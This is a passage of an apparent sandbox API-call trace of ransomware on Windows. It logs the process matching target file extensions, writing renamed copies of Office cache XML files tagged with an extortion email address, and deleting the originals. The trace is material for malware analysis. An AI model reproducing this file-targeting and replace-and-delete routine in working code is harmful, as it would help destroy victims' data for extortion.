lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString=".xls") returned 4 [0034.093] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString=".xlsx") returned 5 [0034.093] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.093] lstrlenW (lpString=".ppt") returned 4 [0034.093] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString=".zip") returned 4 [0034.093] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.093] lstrlenW (lpString=".rar") returned 4 [0034.093] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString=".bz2") returned 4 [0034.093] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString=".7z") returned 3 [0034.093] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString=".dbf") returned 4 [0034.093] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString=".1cd") returned 4 [0034.093] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString=".jpg") returned 4 [0034.093] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.093] lstrlenW (lpString=".doc") returned 4 [0034.093] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.093] lstrlenW (lpString=".docx") returned 5 [0034.093] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.093] lstrlenW (lpString=".pdf") returned 4 [0034.094] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".xls") returned 4 [0034.094] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".xlsx") returned 5 [0034.094] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.094] lstrlenW (lpString=".ppt") returned 4 [0034.094] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.094] lstrlenW (lpString=".zip") returned 4 [0034.094] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.094] lstrlenW (lpString=".rar") returned 4 [0034.094] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".bz2") returned 4 [0034.094] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString=".7z") returned 3 [0034.094] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.094] lstrlenW (lpString=".dbf") returned 4 [0034.094] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.094] lstrlenW (lpString=".1cd") returned 4 [0034.094] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.094] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.094] lstrlenW (lpString=".jpg") returned 4 [0034.094] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.094] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.094] lstrlenW (lpString="Setup.xml") returned 9 [0034.094] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.095] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2424) returned 1 [0034.095] CloseHandle (hObject=0x184) returned 1 [0034.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0034.095] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0034.095] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.095] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.095] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0034.382] GetLastError () returned 0x0 [0034.382] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x978, lpOverlapped=0x0) returned 1 [0034.452] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x980, lpOverlapped=0x0) returned 1 [0034.453] ReadFile (in: hFile=0x184, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.453] WriteFile (in: hFile=0x194, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.453] SetEndOfFile (hFile=0x194) returned 1 [0034.453] CloseHandle (hObject=0x194) returned 1 [0034.454] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.454] SetEndOfFile (hFile=0x184) returned 1 [0034.455] CloseHandle (hObject=0x184) returned 1 [0034.455] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.455] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0034.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.455] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.455] lstrlenW (lpString=".doc") returned 4 [0034.455] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString=".docx") returned 5 [0034.456] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.456] lstrlenW (lpString=".pdf") returned 4 [0034.456] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString=".xls") returned 4 [0034.456] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString=".xlsx") returned 5 [0034.456] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.456] lstrlenW (lpString=".ppt") returned 4 [0034.456] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString=".zip") returned 4 [0034.456] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.456] lstrlenW (lpString=".rar") returned 4 [0034.456] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString=".bz2") returned 4 [0034.456] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString=".7z") returned 3 [0034.456] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString=".dbf") returned 4 [0034.456] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString=".1cd") returned 4 [0034.456] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString=".jpg") returned 4 [0034.456] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.456] lstrlenW (lpString=".doc") returned 4 [0034.457] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString=".docx") returned 5 [0034.457] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0034.457] lstrlenW (lpString=".pdf") returned 4 [0034.457] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString=".xls") returned 4 [0034.457] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString=".xlsx") returned 5 [0034.457] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0034.457] lstrlenW (lpString=".ppt") returned 4 [0034.457] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.457] lstrlenW (lpString=".zip") returned 4 [0034.457] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.457] lstrlenW (lpString=".rar") returned 4 [0034.457] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString=".bz2") returned 4 [0034.457] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString=".7z") returned 3 [0034.457] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.457] lstrlenW (lpString=".dbf") returned 4 [0034.457] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.457] lstrlenW (lpString=".1cd") returned 4 [0034.457] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.457] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0034.457] lstrlenW (lpString=".jpg") returned 4 [0034.457] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.457] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.458] lstrlenW (lpString="Proof.xml") returned 9 [0034.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.517] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1347) returned 1 [0034.517] CloseHandle (hObject=0x180) returned 1 [0034.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 0x2020 [0034.518] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.518] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.518] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.518] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.518] GetLastError () returned 0x0 [0034.518] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x543, lpOverlapped=0x0) returned 1 [0034.561] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x550, lpOverlapped=0x0) returned 1 [0034.562] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.562] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0034.562] SetEndOfFile (hFile=0x198) returned 1 [0034.563] CloseHandle (hObject=0x198) returned 1 [0034.563] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.563] SetEndOfFile (hFile=0x180) returned 1 [0034.564] CloseHandle (hObject=0x180) returned 1 [0034.564] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.564] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml")) returned 1 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString=".doc") returned 4 [0034.565] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString=".docx") returned 5 [0034.565] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.565] lstrlenW (lpString=".pdf") returned 4 [0034.565] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString=".xls") returned 4 [0034.565] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString=".xlsx") returned 5 [0034.565] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.565] lstrlenW (lpString=".ppt") returned 4 [0034.565] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString=".zip") returned 4 [0034.565] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.565] lstrlenW (lpString=".rar") returned 4 [0034.565] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString=".bz2") returned 4 [0034.565] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString=".7z") returned 3 [0034.565] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString=".dbf") returned 4 [0034.565] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString=".1cd") returned 4 [0034.565] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.565] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.565] lstrlenW (lpString=".jpg") returned 4 [0034.565] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString=".doc") returned 4 [0034.566] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".docx") returned 5 [0034.566] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0034.566] lstrlenW (lpString=".pdf") returned 4 [0034.566] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".xls") returned 4 [0034.566] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".xlsx") returned 5 [0034.566] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0034.566] lstrlenW (lpString=".ppt") returned 4 [0034.566] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString=".zip") returned 4 [0034.566] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0034.566] lstrlenW (lpString=".rar") returned 4 [0034.566] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".bz2") returned 4 [0034.566] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString=".7z") returned 3 [0034.566] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString=".dbf") returned 4 [0034.566] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString=".1cd") returned 4 [0034.566] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0034.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml") returned 81 [0034.566] lstrlenW (lpString=".jpg") returned 4 [0034.566] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0034.567] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1 [0034.567] lstrlenW (lpString="Proofing.xml") returned 12 [0034.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.567] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=811) returned 1 [0034.567] CloseHandle (hObject=0x180) returned 1 [0034.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 0x2020 [0034.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0034.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0034.567] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.567] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.567] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0034.568] GetLastError () returned 0x0 [0034.568] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x32b, lpOverlapped=0x0) returned 1 [0034.570] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x330, lpOverlapped=0x0) returned 1 [0034.571] ReadFile (in: hFile=0x180, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0034.571] WriteFile (in: hFile=0x198, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0034.571] SetEndOfFile (hFile=0x198) returned 1 [0034.571] CloseHandle (hObject=0x198) returned 1 [0034.571] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0034.572] SetEndOfFile (hFile=0x180) returned 1 [0034.572] CloseHandle (hObject=0x180) returned 1 [0034.572] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0034.573] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml")) returned 1 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.573] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml") returned 75 [0034.573] lstrlenW (lpString=".doc") returned 4 [0034.573] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0034.573] lstrlenW (lpString=".docx") returned 5 [0034.573] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1 [0034.573] lstrlenW (lpString=".pdf") returned 